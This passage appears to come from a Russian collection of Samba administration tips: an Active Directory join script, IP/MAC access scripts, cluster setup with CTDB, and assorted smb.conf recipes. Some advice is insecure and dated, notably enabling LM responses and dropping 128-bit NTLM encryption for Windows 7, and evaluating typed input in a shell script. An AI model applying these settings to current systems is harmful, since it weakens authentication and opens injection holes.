allowed." done HOSTNAME="$hn" DOMAINNAME_FULL="${dn^^}" DOMAINNAME_SHORT=${DOMAINNAME_FULL/.*} } askOrgDir() { local od echo 'Enter Organizational directory where to create computer'\\''s account. Defaut is "Computers".' echo 'Example: Site/Unit/Computers' read -p 'Org. dir.: ' od ORG_DIRECTORY="$od" } askAdmAccount() { local un while :; do read -p "Enter Admin account of scpecified domain: " un [ 0 -eq "$?" -a 1 -lt ${#un} ] && break; echo "Wrong value ${un}" echo "You have to specify admin account at least 1 char long." done ADMINACCOUNT="$un" } case "$1" in start) if [ `/usr/bin/id -u` -ne 0 ]; then echo $"ERROR: Only root can run $0" exit 4 fi if [ ! -f /usr/bin/net ]; then echo $"ERROR: samba is not installed" exit 5 fi args="" if [ -f $FILENAME ] && [ ! -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then exit 0 fi . /etc/profile.d/lang.sh /usr/bin/plymouth --hide-splash echo echo '========================================================' echo '============ Joining ADS' echo '========================================================' echo NTPSRVSRC='DHCP' NTPSRVS=$(sed -n 's/^server[[:space:]]*\\([^[:space:]]*\\).*/\\1/p' /etc/ntp.conf| grep -v '^127' | sort -u) while :; do if [ -n "$NTPSRVS" ] ; then if ntpdate -u -b $NTPSRVS then echo "Ok" break; else echo "Can not synchronize to $NTPSRVS" fi fi echo -e "WARNING!!!\\nNO working time servers specified by ${NTPSRVSRC}!" read -p 'Enter NTP server(s) of domain: ' NTPSRVS NTPSRVSRC=user done askHostDom echo prepareConfig echo service rsyslog restart /sbin/chkconfig winbind on RETVAL=255 HOME=/root LOGNAME=root USER=root export HOME LOGNAME USER cntr=3 while [ 0 -lt "$cntr" ]; do askAdmAccount if /usr/bin/kinit "${ADMINACCOUNT}"; then RETVAL=0; break; fi RETVAL=$? echo "Error loging in domain ${DOMAINNAME_FULL}" cntr=$(( $cntr - 1 )) done if [ "$RETVAL" -eq 0 ]; then cntr=3 while [ 0 -lt "$cntr" ]; do askOrgDir if [ -n "${ORG_DIRECTORY}" ]; then ADS_ORG="createcomputer='${ORG_DIRECTORY}'" else ADS_ORG="" fi ( eval "set -x; /usr/bin/net ads join -d 1 -k ${ADS_ORG}" ) 2>&1 | tee /tmp/net-ads-join-$$-$cntr # /usr/bin/net ads join -d 2 -k RETVAL=$? if [ "$RETVAL" -ne 0 ]; then echo "WARNING!!! Join failed" read -p 'Press Enter' else { /usr/bin/net -d 1 ads keytab create /sbin/service winbind restart /usr/bin/net -d 1 ads dns register } > /tmp/adsjoin-$$ 2>&1 break; fi cntr=$(( $cntr - 1 )) done fi /usr/bin/plymouth --show-splash # If adsjoin succeeded, chkconfig it off so we don't see the message # every time about starting up adsjoin. if [ "$RETVAL" -eq 0 ]; then action "" /bin/true else action "" /bin/false fi /sbin/chkconfig adsjoin off exit $RETVAL ;; stop) exit 0 ;; status) /sbin/chkconfig --list adsjoin | grep on >/dev/null RETVAL=$? if [ "$RETVAL" -eq 0 ]; then if [ ! -f $FILENAME ] || [ -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then echo $"adsjoin is scheduled to run" else echo $"adsjoin is not scheduled to run" fi else echo $"adsjoin is not scheduled to run" fi exit 0 ;; restart | reload | force-reload | condrestart | try-restart) usage exit 3 ;; *) usage exit 2 ;; esac Примечание: Параметры "kerberos method" файла /etc/samba/smb.conf и "krb5_ccache_type" файла /etc/security/pam_winbind.conf должны соответствовать друг другу, иначе пользователь не сможет войти в систему. Как ни странно, синхронизация времени часто сбивается в первые секунды после получения адреса по dhcp - приходится вводить адреса серверов времени по нескольку раз. Скрипт перезапускает самбу и при его корректном завершении компьютер готов для работы без перезагрузки. 6. Запускаем компьютеры Подключаем к установочному VLAN-у коммутатор. Запасаемся веером патч-кордов, кабелей питания и пр. Подключаем сразу несколько компьютеров. Запускаем на каждом новом компьютере загрузку по сети, по протоколу PXE. У моих компьютеров сетевая загрузка была отключена, приходилось к каждому подключать монитор и клавиатуру и немного донастраивать BIOS. Но в итоге, параллельная подготовка компьютеров, включившая распаковку, заливку, введение в домен и упаковку для отправки в дальний офис занимала менее часа на десяток компьютеров, при том, что отдельный компьютер подготавливается около 15 минут. Что не добавлено 1. Если какие-либо системные утилиты, работающие под уч. записью root и понимающие, что такое Цербер, лезут к компьютерам домена, можно добавить в крон ежечасный вызов /usr/bin/net ads kerberos kinit -P - инициализация Церберного билета уч. записи компьютера. 2. Можно добавить клиенту DHCP скрипт само-регистрации в DNS: /etc/dhcp/dhclient.d/dnsreg.sh #!/bin/sh dnsreg_config() { if [ -x /usr/bin/net ] ; then /usr/bin/net ads dns register -P 2>&1 | logger -p daemon.info -t dhclient fi true } 3. Не настроен сервер обновлений. У нас CentOS ставился для пробы перед покупкой RedHat-а, обновлять его как-то не планировалось. Благодарности
  • Руководству - за поставленную задачу и время, выделенное на её решение.
  • VMWare - за незначительное количество "особенностей" в эмуляторе, в целом просто невероятным образом сократившего время отладки.
  • Microsoft - за незабываемое время проведённое в борьбе с Active Directory.
  • Wireshark.org - за отличный инструмент борьбы со всем этим счастьем.
  •  
    ----* Организация в Samba контроля пользователей по IP и MAC с псевдоквотами   Автор: mastertron  [комментарии]
     
    Ниже представлена попытка без лишних усложнений решить задачу контроля по
    IP+MAC в Samba без запуска дополнительных служб в системе.
    
    В операционной системе создаются всего два системных пользователя с атрибутом
    nologin (smbfull с smblim). Данные о работающих в Samba пользователях хранятся
    в текстовом файле, с таким форматом:
    
       nicname_ФИО и дополнительная информация _IPaddress_MACaddress_limitsize(block)
    
    Итого пять полей с разделителем "_" (если в имени пользователя допускается знак
    подчеркивания, в приведенном ниже скрипте следует заменить "_", допустим, на "|").
    
    При превышении указанного объема клиент может продолжать работать со своими
    документами, редактировать их, но добавить (создать) что-либо или удалить не сможет.
    
    Такой подход может удовлетворить небольшую сеть с индивидуальными ПК, где требуется:
    
    
  • нескольким пользователям подключить сетевые папки для документов, каждому свою, с привязкой по IP;
  • возможность иметь общие папки (внутри своих) между двумя или более пользователями для совместного доступа
  • исключить доступ с других ПК (и даже видимость в сетевом окружении)
  • избежать подключения с "левого" ПК (смена IP) посредством контроля MAC адреса
  • контролировать превышение объема информации в каждой директории, выделенной каждому пользователю. Часть решения подсказал некий robux на форуме linux.org.ru, у него просто авторизировались системные пользователи по IP. Создаем системных пользователей, первого "smbfull" в группе "smbfull", nologin. Второго "smblim" в группе "smbfull" Создаем тех же для самбы: smbpasswd -n -d smbfull smbpasswd -n -d smblim Каталоги созданных пользователей удалим и создадим общие /home/smbusers для каталогов пользователей и /home/smbses для, так называемых, сессионных каталогов. Пример файла конфигурации smb.conf [global] security = user passdb backend = smbpasswd:/etc/samba/smbpasswd username map script = /etc/samba/login.sh %I nullpasswords = yes directory mask = 755 create mask = 755 inherit owner = yes inherit permissions = yes log file = /var/log/smbd.%I max log size = 20 hosts allow = 192.168.0.0/24 socket address = 192.168.0.1 [docs] path = /home/smbses/%I public = yes writable = yes printable = no root postexec = /etc/samba/exit.sh %I Скрипт залогинивания login.sh #!/bin/sh - fses='/home/smbses/'$1 rm $fses v_ipmac=`/usr/local/bin/arp-scan -q --interface=rl1 $1 | sed -n '3p' | sed 's/[ ]/_/g'` res='' res=`grep $v_ipmac /etc/samba/access` if [ "$res" == "" ] then echo 'Blocked!!! - '$v_ipmac >> /home/smbusers/log exit fi v_nic=`echo $res | cut -d_ -f1` v_sz=`echo $res | cut -d_ -f5` v_dir='/home/smbusers/'$v_nic ln -s $v_dir $fses siz=`du -sL $fses | sed -e 's/[ ].*//g'` if [ $siz -gt $v_sz ] then echo 'limit exceeded! - '$v_nic' '$v_ipmac >> /home/smbusers/log echo 'smblim' else echo 'smbfull' fi Скрипт отключения exit.sh #!/bin/sh - rm /home/smbses/$1 Скрипт создания пользователей addusmb #!/bin/sh - fil='/etc/samba/access' echo `date` >> $fil echo -n ' User (nicname) - ' read v_nic res=`grep -c "^$v_nic" $fil` if [ $res != 0 ] then echo 'nicname '\"$v_nic\"' busy!!!' sleep 2 exit fi echo -n ' Fullname user - ' read v_fn echo -n ' User IP - ' read v_ip res=`grep -c "$v_ip" $fil` if [ $res != 0 ] then echo 'IP-'$v_ip' busy!!!' sleep 2 exit fi ping -w 1 -c 1 $v_ip >/dev/null if [ $? != 0 ]; then echo 'IP address unavailable :(' sleep 2 exit fi echo -n ' Allowable size of files (Mb)- ' read v_sm let "v_sz=$v_sm * 2048" v_ipmac=`/usr/local/bin/arp-scan -q --interface=rl1 $v_ip | sed -n '3p' | sed -e 's/[ ]/_/g'` # nicname_fullname_ip_mac_limit echo $v_nic'_'$v_fn'_'$v_ipmac'_'$v_sz >> /etc/samba/access v_dir='/home/smbusers/'$v_nic mkdir $v_dir chmod 755 $v_dir chown smbfull $v_dir chgrp smbfull $v_dir echo ' Ok!' sleep 1 В скриптах между "[" и "]" введен один пробел и один ТАБ. У каждого свой каталог, каждому назначаем допустимый объем информации, при достижении которого он теряет право на создание чего либо нового, но продолжает работать со своими документами. При подключении (либо сетевой диск, либо просто ярлык на ресурс) проверяется соответствие IP_MAC, и, если есть совпадение в файле access, то вытягивается с этой строки nicname и допустимый объем. Создается симлинк директории пользователя с /home/smbusers/user в /home/smbses/~IP Проверяется размер директории пользователя, сравнивается с дозволенным. Если значение меньше допустимого, то входим под пользователем smbfull с полными правами, если лимит превышен - входим под smblim. По завершении сеанса в Windows линк удаляется. Для организации общего ресурса между двумя или более пользователями ( с одинаковыми правами в этой папке!) просто делаем симлинк внутренней папки пользователя в папку другого (других). Можно еще добавить шару и делать так же симлинк какой-то папки пользователя в шару для публикаций файлов, при этом не бояться за их исчезновение или редактирование. При тестах не стоит спешить, при подключении (при обращении) создается линк и процесс сессии, при отключении от самбы (достаточно отключить сетевой диск или закрыть папку) линк с /home/smbses/ удаляется быстро, а вот процесс может еще повисеть. Пока процесс висит - самба вас помнит, и конфигурацию при подключении не перечитает. Можно дождаться закрытия процесса или убить вручную, тогда при подключении вступят в силу внесенные изменения.
  •  
    ----* Создание шаблонов блоков конфигурации samba при помощи опции "copy" (доп. ссылка 1) (доп. ссылка 2)   Автор: Aleksandr Ivanov  [обсудить]
     
    Одной из директив, доступных в smb.conf, является опция copy, которая
    обеспечивает возможность клонирования записей и атрибутов общих ресурсов Samba.
    Используя эту директиву, можно создать шаблон службы со всеми необходимыми
    опциями вместо указания одних и тех же опций для каждой отдельной директории.
    
    Пример /etc/samba/smb.conf:
    
       [template1]
            browseable = yes
            writable = yes
            valid users = gpalis mnapolis rcamacho
    
       [template2]
            browseable = yes
            writable = no
            valid users = gpalis rcamacho peting
    
       [backup]
            path = /mnt/backup
            copy = template1
    
       [workfiles]
            path = /share
            copy = template1
    
       [csfiles]
            path /mnt/cs
            copy = template2
    
     
    ----* Решение проблемы с индексацией данных в связке Samba и LDAP (доп. ссылка 1) (доп. ссылка 2)   Автор: Aleksandr Ivanov  [комментарии]
     
    При появлении в логе ошибок подобных:
       Feb 25 20:23:53 dc02 slapd[5677]: bdb_equality_candidates: (gidNumber) not indexed
       Feb 25 20:23:53 dc02 slapd[5677]: bdb_equality_candidates: (sambaSID) not indexed
       Feb 25 20:23:53 dc02 slapd[5677]: bdb_equality_candidates: (sambaSID) not indexed
       Feb 25 20:23:55 dc02 slapd[5677]: bdb_equality_candidates: (uid) not indexed
       Feb 25 20:23:55 dc02 slapd[5677]: bdb_equality_candidates: (uid) not indexed
    
    необходимо в файл конфигурации /etc/ldap/slapd.conf в раздел с директивами
    "database" добавить следующее:
    
       # Indices to maintain for this database
       index objectClass                       eq,pres
       index ou,cn,sn,mail,givenname           eq,pres,sub
       index uidNumber,gidNumber,memberUid     eq,pres
       index loginShell                        eq,pres
       # I also added this line to stop warning in syslog ..
       index uniqueMember                      eq,pres
       ## required to support pdb_getsampwnam
       index uid                               pres,sub,eq
       ## required to support pdb_getsambapwrid()
       index displayName                       pres,sub,eq
       # These attributes don't exist in this database ..
       #index nisMapName,nisMapEntry            eq,pres,sub
       index sambaSID                          eq
       index sambaPrimaryGroupSID              eq
       index sambaDomainName                   eq
       index default                           sub
      
    После этого:
    
       # /etc/init.d/slapd stop
    
       # slapindex
       WARNING!
        Runnig as root!
        There's a fair chance slapd will fail to start.
        Check file permissions!
    
       # chown openldap:openldap /var/lib/ldap/*
    
       # /etc/init.d/slapd start
        Starting OpenLDAP: slapd
    
    Добавляемые в slapd.conf строки примерны, поскольку наличие дополнительных
    строк или их отсутствие зависит от конфигурации.
    
     
    ----* Доступ к Samba из Windows 7 и Windows 2008 r2   Автор: 24pm  [комментарии]
     
    Начиная с версий Windows 7 и Windows 2008 r2 параметры авторизации у Microsoft
    поменялись. Скорее всего Samba вскоре это учтёт, а пока подружить системы можно
    изменив на Win7 свойства сетевой безопасности:
    
       "Пуск"
          "Панель управления"
             "Администрирование"
                "Локальная политика безопасности"
                   "Локальные политики"
                    
    Далее в блоке "Параметры безопасности" меняем: 
    
    * Сетевая безопасность: минимальная сеансовая безопасность для клиентов на базе
    NTLM SSP - убрать галочку с "Требовать 128-битное шифрование". Таких параметра
    два - выполнить для обоих
     
    * Сетевая безопасность: уровень проверки подлинности LAN Manager - выбрать в
    списке пункт "Отправлять LM- и NTML-ответы"
    
     
    ----* Кластер Samba с использованием CTDB   Автор: Панков Петр  [комментарии]
     
    Введение
    
    Данная статья описывает механизм развертывания файлового сервера на
    предварительно поднятом кластере высокой готовности (High-Aviability).
    Предполагается, что все кластерные службы, а так же службы обеспечения высокой
    готовности настроены и запущены. В моем случае, кластер состоит из 2-х узлов.
    
    Собственно ПО
    
    Поясню выбор ПО и, собственно, для чего это все делается.
    
    1. Чтобы поднять кластер из соединенных между собой каналами связи серверов,
    необходимо установить некоторые службы для централизованного управления
    ресурсами, а также использовать кластерную ФС для организации общего хранилища.
    В случае, если используется ОС от RedHat, сюда входят:
    
    - CMAN - или cluster manager - служба управления кластером. демон, который
    соединяет и отсоединяет узлы от кластера. Выполняется на каждой ноде;
    
    - CCSD - это демон, который обеспечивает доступ к файлу
    конфигурации(cluster.conf) другим кластерным приложениям. Выполняется на каждом узле;
    
    - fencing - часть кластерной системы конфигурации. Этот демон блокирует доступ
    узлу, с которым отсутствует связь, к общим ресурсам кластера.
    
    - GFS2 в качестве кластерной ФС.
    
    2. Чтобы поднять кластер высокой готовности, необходимо решить ряд задач, а
    именно, обеспечить целостность данных и доступность ресурсов при отказе одного
    из узлов.
    
    - DRBD. По сути, сетевой RAID1. Используется для репликации данных. Таким
    образом данные всегда доступны при отказе одного из узлов. Начиная с версии 8,
    DRBD позволяет организовать работу всех устройств в режиме "primary", в отличае
    от предыдущих версий, где primary устройство было единственное.
    
    - HeartBeat. Механизизм "сердцебиения". Эта служба "наблюдает" за узлами, и, в
    случае, отказа одного из них, передает задачу другому, рабочему узлу. Таким
    образом, достигается доступность сервисов.
    
    3. Чтобы поднять файловый сервер на данном кластере и использовать его для
    Windows-клиентов, необходимо использовать Samba'у. Текущая версия Samba не
    поддерживает развертывание её на кластере из-за свеобразного механизма работы.
    
    Поясню: Samba использует легковесную базу данных (TDB) для приведения
    соответствия Windows SID к Unix UID/GID (таблицы ID-мэппинга), хранения данных
    об открытых сессиях (session.tdb), таблицу блокировок файловой системы
    (locking.tdb), а также ряд других параметров.
    
    Если использовать классическую конфигурацию на кластере "как есть", получим
    следующее: На каждом узле работает свой демон smbd и каждый узел имеет свою
    копию TDB, причем эти TDB никак не связаны между собой и не имеют механизма
    взаимодействия. Это и является проблемой. Необходимо, чтобы все узлы кластера
    "знали" в каждый момент времени некоторые значения из всех TDB. Ключевым здесь
    является - locking.tdb и session.tdb. Для этих целей и используется CTDB.
    
    CTDB преобразует стандартный механизм работы Samba с TDB: все локальные
    locking.tdb и session.tdb - преобразуются в распределенную базу данных, таблицы
    ID-мэппинга остаются под управлением локальных демонов smbd. CTDB также
    осуществляет управление демонами smbd и производит передачу управления демоном
    smbd в случае отказа узла.
    
    Подведем некоторые итоги
    
    Имеем следующее:
    
    -кластерную систему, которая используется как файловый сервер. Для этого
    используем службу Samba, запущенную одновременно на всех узлах
    
    - за её работу отвечает CTDB. Данные хранятся на локальных дисках,
    реплицируются с помощью DRBD, доступ к ним может осуществляться одновременно
    обоими узлами кластера(для этого и нужна кластерная ФС - GFS2).
    
    Таким образом, потеря данных исключена, доступность сервисов обеспечена.
    
    Служба HeartBeat в данном случае не используется, так как CTDB выполняет эти
    функции для Samba-сервера.
    
    В результате, получим: высокопроизводительный файловый сервер, обеспечивающий
    100%-ю целостность данных и непрырывность предоставляемых сервисов.
    
    Установка, настройка и запуск
    
    То, что описано ниже, делаем на всех узлах кластера.
    
    Для начала собираем CTDB из исходных текстов
    
           cd ctdb
           ./autogen.sh
           ./configure
           make
           make install
    
    
    После этого необходимо создать и отредактировать основные конфигурационные
    файлы, служащие для запуска и работы CTDB.
    
    1. Создать файл /etc/sysconfig/ctdb.sysconfig:
    
           CTDB_RECOVERY_LOCK="/synchronized/lock"
           CTDB_PUBLIC_INTERFACE=eth0
           CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses
           CTDB_MANAGES_SAMBA=yes
           CTDB_INIT_STYLE=redhat
           CTDB_NODES=/usr/local/etc/ctdb/nodes
           CTDB_LOGFILE=/var/log/log.ctdb
    
    В данном случае, этот файл не использует все возможные параметры, а лишь те,
    которые необходимы в данном случае:
    
    CTDB_RECOVERY_LOCK="/synchronized/lock" - этот параметр описывает
    месторасположение файла, в котором хранится записи о том, какой из узлов
    является мастером восстановления. Файл lock должен располагаться на общем
    хранилище и быть доступным всем нодам,использующим CTDB.
    
    CTDB_PUBLIC_INTERFACE=eth0 - этот параметр описывает сетевой интерфейс, на
    котором в данный момент времени поднято сетевое соединение.
    
    CTDB_PUBLIC_ADDRESSES=/usr/local/etc/ctdb/public_addresses - этот параметр
    определяет файл, содержащий список IP-адресов, по которым клиенты, использующие
    Samba для доступа к файловым ресурсам, посылают запросы на соединение.
    Распределением этих адресов по нодам занимается CTDB.
    
    CTDB_MANAGES_SAMBA=yes - этот параметр определяет, будет ли CTDB управлять
    запуском  Samba-сервера вместо стандартных сценариев управления, которые
    реализует операционная система.
    
    CTDB_INIT_STYLE=redhat - этот параметр описывает сценарии запуска служб для
    различных операционных систем.
    
    CTDB_NODES=/usr/local/etc/ctdb/nodes - этот параметр определяет файл, в котором
    хранится информация об узлах кластера.
    
    CTDB_LOGFILE=/var/log/log.ctdb - этот параметр определяет лог-    файл,
    использующийся службой CTDB.
    
    2.  Создать файл /usr/local/etc/ctdb/nodes:
    
           192.168.1.1
           192.168.1.2
    
    Здесь IP-адрес 192.168.1.1 принадлежит первой ноде, IP-адрес 192.168.1.2 - второй.
    
    3. Создать файл /usr/local/etc/ctdb/public_addresses:
    
           192.168.0.200/24 eth0
    
    Это IP-адрес, за которым в DNS сервере закреплено доменное имя Samba-сервера.
    
    
    Далее собираем самбу
    
           cd samba-3.3.8/source
           ./autogen.sh
           ./configure --with-ctdb=/usr/src/ctdb --with-cluster-support \
              --enable-pie=no --with-shared-modules=idmap_tdb2
           make
           make install
    
    /usr/src/ctdb - каталог с исходными текстами CTDB, установленными ранее.
    
    Правим smb.conf
    
    Эти два параметра обязательно надо добавить в global. Остальное, по Вашим запросам.
    
           clustering = Yes
           idmap backend = tdb
    
    Запуск Samba
    
    Сначала запускаем CTDB на всех узлах кластера.
    
           /usr/local/sbin/ctdbd
    
    Проверяем, запустилось ли.
    
           ctdb status
    
    Если все конфигурационные файлы корректны,будет такое:
    
           Number of nodes:2
           pnn:0 192.168.1.1      OK (THIS NODE)
           pnn:1 192.168.1.2      OK
           Generation:1087563258
           Size:2
           hash:0 lmaster:0
           hash:1 lmaster:1
           Recovery mode:NORMAL (0)
           Recovery master:0
    
    Проверяем для начала параметры smb.conf
    
           /usr/local/samba/bin/testparm
    
           Load smb config files from /usr/local/samba/etc/smb.conf
           Processing section "[public]"
           Loaded services file OK.
           Server role: ROLE_STANDALONE
    
    Запускаем самбу:
    
           /usr/local/samba/sbin/smbd -D
           /usr/local/samba/sbin/smbd -D
    
    Далее, все как обычно, только не забывайте, что это не кластер, и все действия
    должны быть выполнены на всех узлах.
    
    Тестирование
    
    Для сравнения производительности Samba-сервера с использованием CTDB и без
    использования CTDB, а также возможностей файловой системы (общего хранилища)
    используется ряд тестовых модулей.
    
    Скорость чтения данных
    
    Чтение(MB/sec)
    Клиент
    1
    2
    3
    4
    Samba без CTDB
    2,15
    2,16
    2,13
    2,09
    Samba + CTDB
    24,73
    23,42
    23,26
    23,15
    
    Сервер был доступен по кналу 1 Гб/с, поэтому суммарно использовано около 75%
    пропускной способности.
    
    Скорость записи идентична, не намного уступает, определяется скорее возможностями файловой системы.
    Замечу, что с ростом узлов (до 8) скорость доступа к данным (скорость
    чтения/записи) стремительно растет.
    
    
    Заключение
    
    Предложенный вариант кластеризации Samba позволяет достичь некоторых результатов:
    1. Высокая надежность и отказоустойчивость (читайте про CTDB). Потеря данных исключена.
    2. Показатели производительности по сравнению с 1-серверными системами отличные.
    
    Конфигурация годится для организации бюджетного кластерного файлового сервера,
    и при грамотной организации каналов связи (между узлами, клиент- сервер)
    обеспечит отличный уровень производительности.
    
    Список источников
    
    * http://ctdb.samba.org
    * http://wiki.samba.org/index.php/Clustered_Samba
    
     
    ----* Примеры ограничения доступа пользователям в Samba (доп. ссылка 1)   [комментарии]
     
    Разрешение доступа к разделу только из определенной подсети:
    Для нужного имени share-секции smb.conf добавляем:
    
       [share]
         hosts allow = 192.168.2. 127.0.0.1
         hosts deny  = ALL
    
    Разрешение доступа по именам пользователей или группам:
    
       [share]
         valid users = user1 user2 @group1 @group2
    
    Делегирование прав на запись только заданным пользователям, остальным доступ только для чтения:
    
       [share]
         read only = yes
         write list = user1 user2 @group1 @group2
    
    Пример, доступ только на чтение к разделу [sales] всем, кроме пользователей tom
    и jerry, имеющих возможность записи:
    
       [sales]
         comment = All Printers
         path = /nas/fs/sales
         read only = yes
         write list = tom jerry
    
    Для более надежной защиты рекомендуется ограничить доступ к smbd (139 порт)
    через пакетный фильтр, разрешив обращение только с адресов локальной сети.
    
     
    ----* Некоторые распространённые сообщения об ошибках в Samba (доп. ссылка 1)   Автор: skeletor  [комментарии]
     
    Некоторые сообщения об ошибках в логах samba.
    
     
    
    1) "printing/pcap.c:pcap_cache_reload"
    
    В случае неиспользования системы печати для предотвращения таких сообщений в
    конфиге sambа в секции global добавляем:
     
        load printers = no
        show add printer wizard = no
        printing = none
        printcap name = /dev/null
        disable spoolss = yes
    
    2) "getpeername failed. Error was Transport endpoint is not connected"
    
    Данное сообщения означает скорее всего, что в вашей сети используются машины
    под управлением Windows XP.
    Дело в том, что Windows 98 для доступа к ресурсам сети использовал порт 139.
    Windows XP же используется 2 порта: 139 и 445 и действует следующим образом.
    Она пытается открыть соединения сразу по 2-ум портам, если ей это удаётся, она
    рубит соединение на 139 порту,
    посылая сообщение samb'e. Отсюда вывод. Для совместимости со старыми (а
    возможно и просто классической совместимости)
    используйте порт 139. Для этого в конфиге samb'ы, в секции global пишем такое:
    
        smb ports = 139
    
    3) "smbd/close.c:close_remove_share_mode", "close_remove_share_mode: Could not
    delete share entry for file"
    
    Добавьте в описание шары, на файлах которой вываливаются такие сообщения следующее
    
        locking = no
    
    4) "Global parameter log level found in service section!", "Global parameter
    syslog found in service section!"
    
    Это значит, что параметр log level и syslog описан не в опции, а в описаниях шар.
    Решение: перенести параметр из описаний шар в секцию
    
    5) "Packet send failed to 127.0.0.1(137) ERRNO=Permission denied",
    "send_netbios_packet: send_packet() to IP 127.0.0.1 port 137 failed"
    
    Побороть это мне помогло добавление 127.0.0.1/8 в строку interfaces в smb.conf
    
     
    ----* Увеличение скорости работы samba (доп. ссылка 1)   Автор: Денис Корявов  [комментарии]
     
    Установленная из пакета в ALT Linux samba демонстрировала невысокую скорость передачи данных: 
    1Мб/сек на прием и 700 Кб/сек на отдачу файлов по 100 Мбит ethernet сети. 
    
    Поискав на бескрайних просторах интернета, мне удалось найти следующее решение:
    В файл /etc/samba/smb.conf в опцию [global] вставьте следующие строки:
    
       [global]
       max xmit = 64000
       socket options = IPTOS_LOWDELAY TCP_NODELAY SO_SNDBUF=64000 SO_RCVBUF=64000 SO_KEEPALIVE
    
    
    Благодаря данным настройкам, пиковые значения скорости передачи данных по сети у меня увеличились 
    до 7.5Мб/сек на прием и 4 Мб/сек на отдачу файлов.
    
     
    ----* Автоматическое создание домашних директорий для пользователей в Samba (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    Возникла необходимость, чтобы при обращении к серверу Samba если отсутствует создавалась 
    домашняя папка для пользователя домена. Сделать это можно задействовав
    стандартный PAM модуль pam_mkhomedir.
    
    Сперва убедитесь что smbd собран с поддержкой PAM
    
       smbd -b | grep WITH_PAM
    
       WITH_PAM
    
    Если PAM не поддерживается, соберите Samba из исходников с ключом "--with-pam".
    
    В файл "/etc/smb.conf" (секция "global") добавляем
    
       obey pam restrictions = Yes
    
    Создаем шару для домашних папок пользователей
    
       [homes]
       valid users = DOMAIN\%S
       read only = no
       browseable = no
       create mode = 0600
       directory mode = 0700
    
    По умолчанию Samba считает, что домашние папки пользователей находятся в "/home/DOMAIN/user". 
    Нам надо создать директорию "/home/DOMAIN", так как pam_mkhomedir не умеет
    создавать вложенные директории
    
       sudo mkdir /home/DOMAIN
    
    Добавляем в файл "/etc/pam.d/samba"
    
       session required pam_mkhomedir.so umask=0077
    
     
    ----* Пример блокирования файлов по расширениям на samba сервере (доп. ссылка 1)   Автор: izya12  [комментарии]
     
    Пример запрещения записи файлов по расширению (veto files переписать в одну строку):
    
       [SOUND]
       path = /mnt/sde/music
       comment = звуковой-сервер
       username = roma,vnelubin,gtcvet,eolax,mlapin,kkorobejnikov
       only user = yes
       public = yes
       writable = yes
       create mode = 0775
       force create mode = 0775
       directory mode = 0775
       force directory mode = 0775
       veto oplock files = /*.mp3/*.wav/
       veto files = /*.a*/*.A*/*.b*/*.B*/*.c*/*.C*/*.D*/*.d*/*.E*/*.e*/*.F*/*.f*/*.G*/*.g*/*.H*/*.h*
         /*.I*/*.i*/*.J*/*.j*/*.K*/*.k*/*.L*/*.l*/*.N*/*.n*/*.O*/*.o*/*.P*/*.p*/*.Q*/*.q*
         /*.R*/*.r*/*.S*/*.s*/*.T*/*.t*/*.U*/*.u*/*.Y*/*.y*/*.V*/*.v*/*.X*/*.x*/*.Z*/*.z*
         /*.1*/*.2*/*.3*/*.4*/*.5*/*.6*/*.7*/*.8*/*.9*/*.0*/*.vob/*.VOB/*.iso/*.ISO/*.nrg
         /*.NRG/*.IFO/*.ifo/*.BUP/*.bup/*.zip/*.ZIP/*.rar/*.RAR/*.TXT/*.txt/*.TAR/*.tar
         /*.EXE/*.exe/*.DLL/*.dll/*.CFG/*.cfg/*.HT*/*.ht*/*.aa*/*.ab*/*.ac*/*.ad*/*.ae*
         /*.af*/*.ag*/*.ah*/*.ai*/*.aj*/*.ak*/*.al*/*.am*/*.an*/*.ao*/*.ap*/*.aq*/*.ar*
         /*.as*/*.at*/*.au*/*.ay*/*.ax*/*.az*/*.wb*/*.wc*/*.wd*/*.we*/*.wf*/*.wg*/*.wh*
         /*.wi*/*.wj*/*.wk*/*.wl*/*.wm*/*.wn*/*.wo*/*.wp*/*.wq*/*.wr*/*.ws*/*.wt*/*.wu*
         /*.wy*/*.wx*/*.wz*/*.wv*/
       delete veto files = yes
    
    Для самбы версии 3 и выше регистр значения не имеет.
    
    Для разрешения записи, но скрытия для чтения, нужно использовать:
    
       hide veto files = yes
    
    ещё пример:
    
       veto oplock files = /*.xls/*.XLS/*.mdb/*.MDB/*.ldb/*.LDB/
       veto files = /*.avi/*.mp*
    
     
    ----* apache2 + mod_ntlm2 на FreeBSD (доп. ссылка 1)   Автор: Comatoz  [комментарии]
     
    Прозрачная авторизация пользователя через его доменную учетную запись
    
    Использовавшие источники
       http://www.lissyara.su/?id=1510&commented=1#comment_2138
       http://wiki.bestpractical.com/view/NtlmAuthentication
    
    В портах появился, но не собирается как надо (на 1.10.07 г.), поэтому
    
       cd /usr/ports/www/mod_ntlm2
    
    Необходимо поправить файл  mod_ntlm.c
    
       make fetch && make extract
    
    
    diff mod_ntlm2-0.1/mod_ntlm.c mod_ntlm2-0.1-fixed/mod_ntlm.c
    590c590,596
    <     apr_pool_sub_make(&sp,p,NULL);
    ---
    >     /*
    >      * apr_pool_sub_make(&sp,p,NULL);
    >      *
    >      * This function call is not longer available with apache 2.2
    >      * Try replacing it with apr_pool_create_ex()
    >      */
    >     apr_pool_create_ex(&sp,p,NULL,NULL);
    
    Теперь собираем и устанавливаем
    
       make install
    
    Пример настройки /usr/local/etc/apache22/Includes/nagios.conf
    
    ...
      ScriptAlias /nagios/cgi-bin/ /usr/local/www/nagios/cgi-bin/
      Alias /nagios/  /usr/local/www/nagios/
      Alias /nagios  /usr/local/www/nagios/
    
    <Location /nagios/cgi-bin>
        AuthType NTLM
        NTLMAuth on
        NTLMAuthoritative on
        NTLMDomain NAME_DOMAIN # ИМЯ домена
        NTLMServer dc1	# имя PDC
        NTLMBackup dc2	# имя BDC
        Require valid-user
    </Location>
    ...
    
    Если обращаться из IE - все работает, IE отдает данные авторизации любому.
    Если обращаться из Mozilla Firefox не будет работать -  FF не отдает 
    данные авторизации кому попало, сначала надо определить кому можно 
    отдавать. Для этого в FF(about:config) в параметре  network.automatic-
    ntlm-auth.trusted-uris установить имя сервера которому можно отдавать 
    данные авторизации.
    
     
    ----* Создание общедоступного по SMB/CIFS протоколу хранилища файлов (доп. ссылка 1)   [обсудить]
     
    smb.conf:
    
       interfaces = lo eth1
       bind interfaces only = true
       ... 
       security = share
       ...
       guest account = nobody
       ...
       [Guest Share]
